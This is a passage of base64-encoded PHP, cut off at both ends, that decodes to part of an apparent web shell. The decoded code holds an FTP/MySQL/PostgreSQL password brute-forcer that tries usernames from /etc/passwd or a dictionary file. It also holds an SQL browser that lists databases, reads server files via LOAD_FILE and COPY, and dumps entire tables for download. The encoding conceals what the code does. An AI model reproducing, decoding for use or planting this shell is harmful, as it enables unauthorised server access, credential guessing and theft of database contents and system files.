LS0kaSkKCQkJCQkJCSR0bXAgLj0gJGxpbmVbMF1bJGldOwoJCQkJCQkrKyRhdHRlbXB0czsKCQkJ
CQkJaWYoIGJydXRlRm9yY2UoQCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRsaW5lWzBdLCAkdG1w
KSApIHsKCQkJCQkJCSRzdWNjZXNzKys7CgkJCQkJCQllY2hvICc8Yj4nLmh0bWxzcGVjaWFsY2hh
cnMoJGxpbmVbMF0pLic8L2I+OicuaHRtbHNwZWNpYWxjaGFycygkdG1wKTsKCQkJCQkJfQoJCQkJ
CX0KCQkJCX0KCQl9IGVsc2VpZigkX1BPU1RbJ3R5cGUnXSA9PSAyKSB7CgkJCSR0ZW1wID0gQGZp
bGUoJF9QT1NUWydkaWN0J10pOwoJCQlpZiggaXNfYXJyYXkoJHRlbXApICkKCQkJCWZvcmVhY2go
JHRlbXAgYXMgJGxpbmUpIHsKCQkJCQkkbGluZSA9IHRyaW0oJGxpbmUpOwoJCQkJCSsrJGF0dGVt
cHRzOwoJCQkJCWlmKCBicnV0ZUZvcmNlKCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRfUE9TVFsn
bG9naW4nXSwgJGxpbmUpICkgewoJCQkJCQkkc3VjY2VzcysrOwoJCQkJCQllY2hvICc8Yj4nLmh0
bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydsb2dpbiddKS4nPC9iPjonLmh0bWxzcGVjaWFsY2hhcnMo
JGxpbmUpLic8YnI+JzsKCQkJCQl9CgkJCQl9CgkJfQoJCWVjaG8gIjxzcGFuPkF0dGVtcHRzOjwv
c3Bhbj4gJGF0dGVtcHRzIDxzcGFuPlN1Y2Nlc3M6PC9zcGFuPiAkc3VjY2VzczwvZGl2Pjxicj4i
OwoJfQoJZWNobyAnPGgxPkZUUCBicnV0ZWZvcmNlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHRh
YmxlPjxmb3JtIG1ldGhvZD1wb3N0Pjx0cj48dGQ+PHNwYW4+VHlwZTwvc3Bhbj48L3RkPicKCQku
Jzx0ZD48bGFiZWw+PHNlbGVjdCBuYW1lPXByb3RvPjxvcHRpb24gdmFsdWU9ZnRwPkZUUDwvb3B0
aW9uPjxvcHRpb24gdmFsdWU9bXlzcWw+TXlTcWw8L29wdGlvbj48b3B0aW9uIHZhbHVlPXBnc3Fs
PlBvc3RncmVTcWw8L29wdGlvbj48L3NlbGVjdD48L2xhYmVsPjwvdGQ+PC90cj48dHI+PHRkPicK
CQkuJzxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygk
R0xPQkFMU1snY3dkJ10pLiciPicKCQkuJzxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9
IicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2EnXSkuJyI+JwoJCS4nPGlucHV0IHR5cGU9aGlk
ZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnY2hhcnNl
dCddKS4nIj4nCgkJLic8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1uZSAgdmFsdWU9IiI+JwoJCS4n
PHNwYW4+U2VydmVyOnBvcnQ8L3NwYW4+PC90ZD4nCgkJLic8dGQ+PGlucHV0IHR5cGU9dGV4dCBu
YW1lPXNlcnZlciB2YWx1ZT0iMTI3LjAuMC4xIj48L3RkPjwvdHI+JwoJCS4nPHRyPjx0ZD48c3Bh
bj5CcnV0ZSB0eXBlPC9zcGFuPjwvdGQ+JwoJCS4nPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9
dHlwZSB2YWx1ZT0iMSIgY2hlY2tlZD4gL2V0Yy9wYXNzd2Q8L3RkPjwvdHI+JwoJCS4nPHRyPjx0
ZD48L3RkPjx0ZCBzdHlsZT0icGFkZGluZy1sZWZ0OjE1cHgiPjxpbnB1dCB0eXBlPWNoZWNrYm94
IG5hbWU9cmV2ZXJzZSB2YWx1ZT0xIGNoZWNrZWQ+IHJldmVyc2UgKGxvZ2luIC0+IG5pZ29sKTwv
dGQ+PC90cj4nCgkJLic8dHI+PHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlw
ZSB2YWx1ZT0iMiI+IERpY3Rpb25hcnk8L3RkPjwvdHI+JwoJCS4nPHRyPjx0ZD48L3RkPjx0ZD48
dGFibGUgc3R5bGU9InBhZGRpbmctbGVmdDoxNXB4Ij48dHI+PHRkPjxzcGFuPkxvZ2luPC9zcGFu
PjwvdGQ+JwoJCS4nPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1sb2dpbiB2YWx1ZT0icm9vdCI+
PC90ZD48L3RyPicKCQkuJzx0cj48dGQ+PHNwYW4+RGljdGlvbmFyeTwvc3Bhbj48L3RkPicKCQku
Jzx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZGljdCB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJz
KCRHTE9CQUxTWydjd2QnXSkuJ3Bhc3N3ZC5kaWMiPjwvdGQ+PC90cj48L3RhYmxlPicKCQkuJzwv
dGQ+PC90cj48dHI+PHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0ic3VibWl0
Ij48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+JzsKCWVjaG8gJzwvZGl2Pic7CgloYXJkRm9vdGVy
KCk7Cn0KZnVuY3Rpb24gYWN0aW9uU3FsKCkgewoJY2xhc3MgRGJDbGFzcyB7CgkJdmFyICR0eXBl
OwoJCXZhciAkbGluazsKCQl2YXIgJHJlczsKCQlmdW5jdGlvbiBfX2NvbnN0cnVjdCgkdHlwZSkJ
ewoJCQkkdGhpcy0+dHlwZSA9ICR0eXBlOwoJCX0KCQlmdW5jdGlvbiBjb25uZWN0KCRob3N0LCAk
dXNlciwgJHBhc3MsICRkYm5hbWUpewoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsKCQkJCWNhc2Ug
J215c3FsJzoKCQkJCQlpZiggJHRoaXMtPmxpbmsgPSBAbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNl
ciwkcGFzcyx0cnVlKSApIHJldHVybiB0cnVlOwoJCQkJCWJyZWFrOwoJCQkJY2FzZSAncGdzcWwn
OgoJCQkJCSRob3N0ID0gZXhwbG9kZSgnOicsICRob3N0KTsKCQkJCQlpZighJGhvc3RbMV0pICRo
b3N0WzFdPTU0MzI7CgkJCQkJaWYoICR0aGlzLT5saW5rID0gQHBnX2Nvbm5lY3QoImhvc3Q9eyRo
b3N0WzBdfSBwb3J0PXskaG9zdFsxXX0gdXNlcj0kdXNlciBwYXNzd29yZD0kcGFzcyBkYm5hbWU9
JGRibmFtZSIpICkgcmV0dXJuIHRydWU7CgkJCQkJYnJlYWs7CgkJCX0KCQkJcmV0dXJuIGZhbHNl
OwoJCX0KCQlmdW5jdGlvbiBzZWxlY3RkYigkZGIpIHsKCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7
CgkJCQljYXNlICdteXNxbCc6CgkJCQkJaWYgKEBteXNxbF9zZWxlY3RfZGIoJGRiKSlyZXR1cm4g
dHJ1ZTsKCQkJCQlicmVhazsKCQkJfQoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCWZ1bmN0aW9uIHF1
ZXJ5KCRzdHIpIHsKCQkJc3dpdGNoKCR0aGlzLT50eXBlKSB7CgkJCQljYXNlICdteXNxbCc6CgkJ
CQkJcmV0dXJuICR0aGlzLT5yZXMgPSBAbXlzcWxfcXVlcnkoJHN0cik7CgkJCQkJYnJlYWs7CgkJ
CQljYXNlICdwZ3NxbCc6CgkJCQkJcmV0dXJuICR0aGlzLT5yZXMgPSBAcGdfcXVlcnkoJHRoaXMt
PmxpbmssJHN0cik7CgkJCQkJYnJlYWs7CgkJCX0KCQkJcmV0dXJuIGZhbHNlOwoJCX0KCQlmdW5j
dGlvbiBmZXRjaCgpIHsKCQkJJHJlcyA9IGZ1bmNfbnVtX2FyZ3MoKT9mdW5jX2dldF9hcmcoMCk6
JHRoaXMtPnJlczsKCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7CgkJCQljYXNlICdteXNxbCc6CgkJ
CQkJcmV0dXJuIEBteXNxbF9mZXRjaF9hc3NvYygkcmVzKTsKCQkJCQlicmVhazsKCQkJCWNhc2Ug
J3Bnc3FsJzoKCQkJCQlyZXR1cm4gQHBnX2ZldGNoX2Fzc29jKCRyZXMpOwoJCQkJCWJyZWFrOwoJ
CQl9CgkJCXJldHVybiBmYWxzZTsKCQl9CgkJZnVuY3Rpb24gbGlzdERicygpIHsKCQkJc3dpdGNo
KCR0aGlzLT50eXBlKQl7CgkJCQljYXNlICdteXNxbCc6CiAgICAgICAgICAgICAgICAgICAgICAg
IHJldHVybiAkdGhpcy0+cXVlcnkoIlNIT1cgZGF0YWJhc2VzIik7CgkJCQlicmVhazsKCQkJCWNh
c2UgJ3Bnc3FsJzoKCQkJCQlyZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgiU0VMRUNU
IGRhdG5hbWUgRlJPTSBwZ19kYXRhYmFzZSBXSEVSRSBkYXRpc3RlbXBsYXRlIT0ndCciKTsKCQkJ
CWJyZWFrOwoJCQl9CgkJCXJldHVybiBmYWxzZTsKCQl9CgkJZnVuY3Rpb24gbGlzdFRhYmxlcygp
IHsKCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7CgkJCQljYXNlICdteXNxbCc6CgkJCQkJcmV0dXJu
ICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcnkoJ1NIT1cgVEFCTEVTJyk7CgkJCQlicmVhazsKCQkJ
CWNhc2UgJ3Bnc3FsJzoKCQkJCQlyZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgic2Vs
ZWN0IHRhYmxlX25hbWUgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxl
X3NjaGVtYSAhPSAnaW5mb3JtYXRpb25fc2NoZW1hJyBBTkQgdGFibGVfc2NoZW1hICE9ICdwZ19j
YXRhbG9nJyIpOwoJCQkJYnJlYWs7CgkJCX0KCQkJcmV0dXJuIGZhbHNlOwoJCX0KCQlmdW5jdGlv
biBlcnJvcigpIHsKCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7CgkJCQljYXNlICdteXNxbCc6CgkJ
CQkJcmV0dXJuIEBteXNxbF9lcnJvcigpOwoJCQkJYnJlYWs7CgkJCQljYXNlICdwZ3NxbCc6CgkJ
CQkJcmV0dXJuIEBwZ19sYXN0X2Vycm9yKCk7CgkJCQlicmVhazsKCQkJfQoJCQlyZXR1cm4gZmFs
c2U7CgkJfQoJCWZ1bmN0aW9uIHNldENoYXJzZXQoJHN0cikgewoJCQlzd2l0Y2goJHRoaXMtPnR5
cGUpCXsKCQkJCWNhc2UgJ215c3FsJzoKCQkJCQlpZihmdW5jdGlvbl9leGlzdHMoJ215c3FsX3Nl
dF9jaGFyc2V0JykpCgkJCQkJCXJldHVybiBAbXlzcWxfc2V0X2NoYXJzZXQoJHN0ciwgJHRoaXMt
PmxpbmspOwoJCQkJCWVsc2UKCQkJCQkJJHRoaXMtPnF1ZXJ5KCdTRVQgQ0hBUlNFVCAnLiRzdHIp
OwoJCQkJCWJyZWFrOwoJCQkJY2FzZSAncGdzcWwnOgoJCQkJCXJldHVybiBAcGdfc2V0X2NsaWVu
dF9lbmNvZGluZygkdGhpcy0+bGluaywgJHN0cik7CgkJCQkJYnJlYWs7CgkJCX0KCQkJcmV0dXJu
IGZhbHNlOwoJCX0KCQlmdW5jdGlvbiBsb2FkRmlsZSgkc3RyKSB7CgkJCXN3aXRjaCgkdGhpcy0+
dHlwZSkJewoJCQkJY2FzZSAnbXlzcWwnOgoJCQkJCXJldHVybiAkdGhpcy0+ZmV0Y2goJHRoaXMt
PnF1ZXJ5KCJTRUxFQ1QgTE9BRF9GSUxFKCciLmFkZHNsYXNoZXMoJHN0cikuIicpIGFzIGZpbGUi
KSk7CgkJCQlicmVhazsKCQkJCWNhc2UgJ3Bnc3FsJzoKCQkJCQkkdGhpcy0+cXVlcnkoIkNSRUFU
RSBUQUJMRSBoYXJkMihmaWxlIHRleHQpO0NPUFkgaGFyZDIgRlJPTSAnIi5hZGRzbGFzaGVzKCRz
dHIpLiInO3NlbGVjdCBmaWxlIGZyb20gaGFyZDI7Iik7CgkJCQkJJHI9YXJyYXkoKTsKCQkJCQl3
aGlsZSgkaT0kdGhpcy0+ZmV0Y2goKSkKCQkJCQkJJHJbXSA9ICRpWydmaWxlJ107CgkJCQkJJHRo
aXMtPnF1ZXJ5KCdkcm9wIHRhYmxlIGhhcmQyJyk7CgkJCQkJcmV0dXJuIGFycmF5KCdmaWxlJz0+
aW1wbG9kZSgiXG4iLCRyKSk7CgkJCQlicmVhazsKCQkJfQoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJ
CWZ1bmN0aW9uIGR1bXAoJHRhYmxlLCAkZnAgPSBmYWxzZSkgewoJCQlzd2l0Y2goJHRoaXMtPnR5
cGUpCXsKCQkJCWNhc2UgJ215c3FsJzoKCQkJCQkkcmVzID0gJHRoaXMtPnF1ZXJ5KCdTSE9XIENS
RUFURSBUQUJMRSBgJy4kdGFibGUuJ2AnKTsKCQkJCQkkY3JlYXRlID0gbXlzcWxfZmV0Y2hfYXJy
YXkoJHJlcyk7CgkJCQkJJHNxbCA9ICRjcmVhdGVbMV0uIjtcbiI7CiAgICAgICAgICAgICAgICAg
ICAgaWYoJGZwKSBmd3JpdGUoJGZwLCAkc3FsKTsgZWxzZSBlY2hvKCRzcWwpOwoJCQkJCSR0aGlz
LT5xdWVyeSgnU0VMRUNUICogRlJPTSBgJy4kdGFibGUuJ2AnKTsKICAgICAgICAgICAgICAgICAg
ICAkaSA9IDA7CiAgICAgICAgICAgICAgICAgICAgJGhlYWQgPSB0cnVlOwoJCQkJCXdoaWxlKCTi
lp8gPSAkdGhpcy0+ZmV0Y2goKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJyc7
CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRpICUgMTAwMCA9PSAwKSB7CiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAkaGVhZCA9IHRydWU7CiAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAkc3FsID0gIjtcblxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgfQoJCQkJCQkkY29sdW1u
cyA9IGFycmF5KCk7CgkJCQkJCWZvcmVhY2goJOKWnyBhcyAkaz0+JHYpIHsKICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIGlmKCR2ID09PSBudWxsKQogICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICTilp9bJGtdID0gIk5VTEwiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxz
ZWlmKGlzX2ludCgkdikpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJOKWn1ska10g
PSAkdjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAk4pafWyRrXSA9ICInIi5AbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCR2
KS4iJyI7CgkJCQkJCQkkY29sdW1uc1tdID0gImAiLiRrLiJgIjsKCQkJCQkJfQogICAgICAgICAg
ICAgICAgICAgICAgICBpZigkaGVhZCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNx
bCAuPSAnSU5TRVJUIElOVE8gYCcuJHRhYmxlLidgICgnLmltcGxvZGUoIiwgIiwgJGNvbHVtbnMp
LiIpIFZBTFVFUyBcblx0KCIuaW1wbG9kZSgiLCAiLCAk4pafKS4nKSc7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAkaGVhZCA9IGZhbHNlOwogICAgICAgICAgICAgICAgICAgICAgICB9IGVs
c2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgLj0gIlxuXHQsKCIuaW1wbG9kZSgi
LCAiLCAk4pafKS4nKSc7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmcCkgZndyaXRlKCRm
cCwgJHNxbCk7IGVsc2UgZWNobygkc3FsKTsKICAgICAgICAgICAgICAgICAgICAgICAgJGkrKzsK
CQkJCQl9CiAgICAgICAgICAgICAgICAgICAgaWYoISRoZWFkKQogICAgICAgICAgICAgICAgICAg
ICAgICBpZigkZnApIGZ3cml0ZSgkZnAsICI7XG5cbiIpOyBlbHNlIGVjaG8oIjtcblxuIik7CgkJ
CQlicmVhazsKCQkJCWNhc2UgJ3Bnc3FsJzoKCQkJCQkkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZS
T00gJy4kdGFibGUpOwoJCQkJCXdoaWxlKCTilp8gPSAkdGhpcy0+ZmV0Y2goKSkgewoJCQkJCQkk
Y29sdW1ucyA9IGFycmF5KCk7CgkJCQkJCWZvcmVhY2goJOKWnyBhcyAkaz0+JHYpIHsKCQkJCQkJ
CSTilp9bJGtdID0gIiciLmFkZHNsYXNoZXMoJHYpLiInIjsKCQkJCQkJCSRjb2x1bW5zW10gPSAk
azsKCQkJCQkJfQogICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJ0lOU0VSVCBJTlRPICcu
JHRhYmxlLicgKCcuaW1wbG9kZSgiLCAiLCAkY29sdW1ucykuJykgVkFMVUVTICgnLmltcGxvZGUo
IiwgIiwgJOKWnykuJyk7Jy4iXG4iOwogICAgICAgICAgICAgICAgICAgICAgICBpZigkZnApIGZ3
cml0ZSgkZnAsICRzcWwpOyBlbHNlIGVjaG8oJHNxbCk7CgkJCQkJfQoJCQkJYnJlYWs7CgkJCX0K
CQkJcmV0dXJuIGZhbHNlOwoJCX0KCX07CgkkZGIgPSBuZXcgRGJDbGFzcygkX1BPU1RbJ3R5cGUn
XSk7CglpZigoQCRfUE9TVFsncDInXT09J2Rvd25sb2FkJykgJiYgKEAkX1BPU1RbJ3AxJ10hPSdz
ZWxlY3QnKSkgewoJCSRkYi0+Y29ubmVjdCgkX1BPU1RbJ3NxbF9ob3N0J10sICRfUE9TVFsnc3Fs
X2xvZ2luJ10sICRfUE9TVFsnc3FsX3Bhc3MnXSwgJF9QT1NUWydzcWxfYmFzZSddKTsKCQkkZGIt
PnNlbGVjdGRiKCRfUE9TVFsnc3FsX2Jhc2UnXSk7CiAgICAgICAgc3dpdGNoKCRfUE9TVFsnY2hh
cnNldCddKSB7CiAgICAgICAgICAgIGNhc2UgIldpbmRvd3MtMTI1MSI6ICRkYi0+c2V0Q2hhcnNl
dCgnY3AxMjUxJyk7IGJyZWFrOwogICAgICAgICAgICBjYXNlICJVVEYtOCI6ICRkYi0+c2V0Q2hh
cnNldCgndXRmOCcpOyBicmVhazsKICAgICAgICAgICAgY2FzZSAiS09JOC1SIjogJGRiLT5zZXRD
aGFyc2V0KCdrb2k4cicpOyBicmVhazsKICAgICAgICAgICAgY2FzZSAiS09JOC1VIjogJGRiLT5z
ZXRDaGFyc2V0KCdrb2k4dScpOyBicmVhazsKICAgICAgICAgICAgY2FzZSAiY3A4NjYiOiAkZGIt
PnNldENoYXJzZXQoJ2NwODY2Jyk7IGJyZWFrOwogICAgICAgIH0KICAgICAgICBpZihlbXB0eSgk
X1BPU1RbJ2ZpbGUnXSkpIHsKICAgICAgICAgICAgb2Jfc3RhcnQoIm9iX2d6aGFuZGxlciIsIDQw
OTYpOwogICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7
IGZpbGVuYW1lPWR1bXAuc3FsIik7CiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiB0
ZXh0L3BsYWluIik7CiAgICAgICAgICAgIGZvcmVhY2goJF9QT1NUWyd0YmwnXSBhcyAkdikKCQkJ
CSRkYi0+ZHVtcCgkdik7CiAgICAgICAgICAgIGV4aXQ7CiAgICAgICAgfSBlbHNlaWYoJGZwID0g
QGZvcGVuKCRfUE9TVFsnZmlsZSddLCAndycpKSB7CiAgICAgICAgICAgIGZvcmVhY2goJF9QT1NU
Wyd0YmwnXSBhcyAkdikKICAgICAgICAgICAgICAgICRkYi0+ZHVtcCgkdiwgJGZwKTsKICAgICAg
ICAgICAgZmNsb3NlKCRmcCk7CiAgICAgICAgICAgIHVuc2V0KCRfUE9TVFsncDInXSk7CiAgICAg
ICAgfSBlbHNlCiAgICAgICAgICAgIGRpZSgnPHNjcmlwdD5hbGVydCgiRXJyb3IhIENhblwndCBv
cGVuIGZpbGUiKTt3aW5kb3cuaGlzdG9yeS5iYWNrKC0xKTwvc2NyaXB0PicpOwoJfQoJaGFyZEhl
YWRlcigpOwoJZWNobyAiCjxoMT5TcWwgYnJvd3NlcjwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pgo8
Zm9ybSBuYW1lPSdzZicgbWV0aG9kPSdwb3N0JyBvbnN1Ym1pdD0nZnModGhpcyk7Jz48dGFibGUg
Y2VsbHBhZGRpbmc9JzInIGNlbGxzcGFjaW5nPScwJz48dHI+Cjx0ZD5UeXBlPC90ZD48dGQ+SG9z
dDwvdGQ+PHRkPkxvZ2luPC90ZD48dGQ+UGFzc3dvcmQ8L3RkPjx0ZD5EYXRhYmFzZTwvdGQ+PHRk
PjwvdGQ+PC90cj48dHI+CjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPW5lIHZhbHVlPScnPjxpbnB1
dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9U3FsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAx
IHZhbHVlPSdxdWVyeSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDIgdmFsdWU9Jyc+PGlucHV0
IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nIi4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1sn
Y3dkJ10pIC4iJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSciLiAoaXNz
ZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKSAuIic+Cjx0ZD48bGFi
ZWw+PHNlbGVjdCBuYW1lPSd0eXBlJz48b3B0aW9uIHZhbHVlPSdteXNxbCcgIjsKICAgIGlmKEAk
X1BPU1RbJ3R5cGUnXT09J215c3FsJyllY2hvICdzZWxlY3RlZCc7CmVjaG8gIj5NeVNxbDwvb3B0
aW9uPjxvcHRpb24gdmFsdWU9J3Bnc3FsJyAiOwppZihAJF9QT1NUWyd0eXBlJ109PSdwZ3NxbCcp
ZWNobyAnc2VsZWN0ZWQnOwplY2hvICI+UG9zdGdyZVNxbDwvb3B0aW9uPjwvc2VsZWN0PjwvbGFi
ZWw+PC90ZD4KPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfaG9zdCB2YWx1ZT1cIiIuIChl
bXB0eSgkX1BPU1RbJ3NxbF9ob3N0J10pPydsb2NhbGhvc3QnOmh0bWxzcGVjaWFsY2hhcnMoJF9Q
T1NUWydzcWxfaG9zdCddKSkgLiJcIj48L3RkPgo8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNx
bF9sb2dpbiB2YWx1ZT1cIiIuIChlbXB0eSgkX1BPU1RbJ3NxbF9sb2dpbiddKT8ncm9vdCc6aHRt
bHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9sb2dpbiddKSkgLiJcIj48L3RkPgo8dGQ+PGlucHV0
IHR5cGU9dGV4dCBuYW1lPXNxbF9wYXNzIHZhbHVlPVwiIi4gKGVtcHR5KCRfUE9TVFsnc3FsX3Bh
c3MnXSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9wYXNzJ10pKSAuIlwiIHJlcXVp
cmVkPjwvdGQ+PHRkPiI7CgkkdG1wID0gIjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfYmFzZSB2
YWx1ZT0nJz4iOwoJaWYoaXNzZXQoJF9QT1NUWydzcWxfaG9zdCddKSl7CgkJaWYoJGRiLT5jb25u
ZWN0KCRfUE9TVFsnc3FsX2hvc3QnXSwgJF9QT1NUWydzcWxfbG9naW4nXSwgJF9QT1NUWydzcWxf
cGFzcyddLCAkX1BPU1RbJ3NxbF9iYXNlJ10pKSB7CgkJCXN3aXRjaCgkX1BPU1RbJ2NoYXJzZXQn
XSkgewoJCQkJY2FzZSAiV2luZG93cy0xMjUxIjogJGRiLT5zZXRDaGFyc2V0KCdjcDEyNTEnKTsg
YnJlYWs7CgkJCQljYXNlICJVVEYtOCI6ICRkYi0+c2V0Q2hhcnNldCgndXRmOCcpOyBicmVhazsK
CQkJCWNhc2UgIktPSTgtUiI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHInKTsgYnJlYWs7CgkJCQlj
YXNlICJLT0k4LVUiOiAkZGItPnNldENoYXJzZXQoJ2tvaTh1Jyk7IGJyZWFrOwoJCQkJY2FzZSAi
Y3A4NjYiOiAkZGItPnNldENoYXJzZXQoJ2NwODY2Jyk7IGJyZWFrOwoJCQl9CgkJCSRkYi0+bGlz
dERicygpOwoJCQllY2hvICI8bGFiZWw+PHNlbGVjdCBuYW1lPXNxbF9iYXNlPjxvcHRpb24gdmFs
dWU9Jyc+PC9vcHRpb24+IjsKCQkJd2hpbGUoJOKWnyA9ICRkYi0+ZmV0Y2goKSkgewoJCQkJbGlz
dCgka2V5LCAkdmFsdWUpID0gZWFjaCgk4pafKTsKCQkJCWVjaG8gJzxvcHRpb24gdmFsdWU9Iicu
JHZhbHVlLiciICcuKCR2YWx1ZT09JF9QT1NUWydzcWxfYmFzZSddPydzZWxlY3RlZCc6JycpLic+
Jy4kdmFsdWUuJzwvb3B0aW9uPic7CgkJCX0KCQkJZWNobyAnPC9zZWxlY3Q+PC9sYWJlbD4nOwoJ
CX0KCQllbHNlIGVjaG8gJHRtcDsKCX1lbHNlCgkJZWNobyAkdG1wOwoJZWNobyAiPC90ZD4KCQkJ
CTx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J3N1Ym1pdCcgb25jbGljaz0nZnMoZC5zZik7
Jz48L3RkPgogICAgICAgICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9c3Fs
X2NvdW50IHZhbHVlPSdvbiciIC4gKGVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pPycnOicgY2hl
Y2tlZCcpIC4gIj4gY291bnQgdGhlIG51bWJlciBvZiByb3dzPC90ZD4KCQkJPC90cj4KCQk8L3Rh
YmxlPgoJCTxzY3JpcHQ+CiAgICAgICAgICAgIHNfZGI9JyIuQGFkZHNsYXNoZXMoJF9QT1NUWydz
cWxfYmFzZSddKS4iJzsKICAgICAgICAgICAgZnVuY3Rpb24gZnMoZikgewogICAgICAgICAgICAg
ICAgaWYoZi5zcWxfYmFzZS52YWx1ZSE9c19kYikgeyBmLm9uc3VibWl0ID0gZnVuY3Rpb24oKSB7
fTsKICAgICAgICAgICAgICAgICAgICBpZihmLnAxKSBmLnAxLnZhbHVlPScnOwogICAgICAgICAg
ICAgICAgICAgIGlmKGYucDIpIGYucDIudmFsdWU9Jyc7CiAgICAgICAgICAgICAgICAgICAgaWYo
Zi5wMykgZi5wMy52YWx1ZT0nJzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoJCQlm
dW5jdGlvbiBzdCh0LGwpIHsKCQkJCWQuc2YucDEudmFsdWUgPSAnc2VsZWN0JzsKCQkJCWQuc2Yu
cDIudmFsdWUgPSB0OwogICAgICAgICAgICAgICAgaWYobCAmJiBkLnNmLnAzKSBkLnNmLnAzLnZh
bHVlID0gbDsKCQkJCWQuc2Yuc3VibWl0KCk7CgkJCX0KCQkJZnVuY3Rpb24gaXMoKSB7CgkJCQlm
b3IoaT0wO2k8ZC5zZi5lbGVtZW50c1sndGJsW10nXS5sZW5ndGg7KytpKQoJCQkJCWQuc2YuZWxl
bWVudHNbJ3RibFtdJ11baV0uY2hlY2tlZCA9ICFkLnNmLmVsZW1lbnRzWyd0YmxbXSddW2ldLmNo
ZWNrZWQ7CgkJCX0KCQk8L3NjcmlwdD4iOwoJaWYoaXNzZXQoJGRiKSAmJiAkZGItPmxpbmspewoJ
CWVjaG8gIjxici8+PHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MiBjZWxsc3BhY2luZz0w
PiI7CgkJCWlmKCFlbXB0eSgkX1BPU1RbJ3NxbF9iYXNlJ10pKXsKCQkJCSRkYi0+c2VsZWN0ZGIo
JF9QT1NUWydzcWxfYmFzZSddKTsKCQkJCWVjaG8gIjx0cj48dGQgd2lkdGg9MSBzdHlsZT0nYm9y
ZGVyLXRvcDoycHggc29saWQgIzY2NjsnPjxzcGFuPlRhYmxlczo8L3NwYW4+PGJyPjxicj4iOwoJ
CQkJJHRibHNfcmVzID0gJGRiLT5saXN0VGFibGVzKCk7CgkJCQl3aGlsZSgk4pafID0gJGRiLT5m
ZXRjaCgkdGJsc19yZXMpKSB7CgkJCQkJbGlzdCgka2V5LCAkdmFsdWUpID0gZWFjaCgk4pafKTsK
ICAgICAgICAgICAgICAgICAgICBpZighZW1wdHkoJF9QT1NUWydzcWxfY291bnQnXSkpCiAgICAg
